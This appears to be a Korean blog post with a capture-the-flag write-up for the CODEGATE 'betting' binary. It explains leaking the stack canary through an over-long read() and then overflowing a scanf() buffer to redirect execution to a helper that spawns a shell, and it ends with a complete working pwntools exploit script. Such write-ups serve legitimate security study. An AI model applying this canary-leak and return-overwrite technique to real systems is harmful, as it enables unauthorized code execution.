Self-Improvement

[CODEGATE] betting (64bit) 풀이 및 Pwntools 본문

리버싱 기초/CODEGATE

[CODEGATE] betting (64bit) 풀이 및 Pwntools

JoGeun 2020. 6. 18. 11:02

betting
0.01MB

 

FILE

 

적용된 보호기법

 

IDA

input_name의 크기는 (0x20-0x8)로 0x18크기이며 스택의 바로 아래에는 canary가 존재하고 있다.

 

Main함수에서 name을 입력 받을때 read()함수로 0x28크기만큼 받고 있음으로 input_name 변수의 크기보다 0x10바이트 만큼 더 입력 할 수 있음으로 canary leak을 할 수 있다.

 

그 다음 아래에서 bof에 취약한 scanf() 함수로 문자열을 입력 받고 있음으로 BOF를 수행할 수 있다.

 

친절하게도 바이너리 파일안에 helper()함수로 system("/bin/sh")이 존재하고 있다.

 

결론적으론 

1. read() 함수에서 canary을 leak 한다.

2. scanf() 함수에서 BOF로 ret 영역에 helper() 함수를 덮어 씌운다.

3. 프로그램 종료 시 쉘 획득

 

Pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
 
p=process('./betting')
 
# helper func = system("/bin/sh")
helper=0x4008f6
 
# canary leak
p.recvuntil('name?')
payload='A'*24
p.sendline(payload)
p.recvuntil('with?')
p.sendline('1000')
p.recvuntil('A'*24)
leak=p.read(8)[1:]
canary=u64("\x00"+leak)
 
 
p.recvuntil('bet?')
p.sendline('1000')
p.recvuntil('Enter "h" for higher or "l" for lower:')
 
# payload
payload2='A'*40    #BUF
payload2+=p64(canary)
payload2+='B'*8    #SFP
payload2+=p64(helper)
 
p.send(payload2)
p.interactive()
cs

 

실행 결과

While문으로 게임에 질때까지 반복됨으로 질때까지.. 해주고 프로그램이 종료 되면 쉘을 획득한다.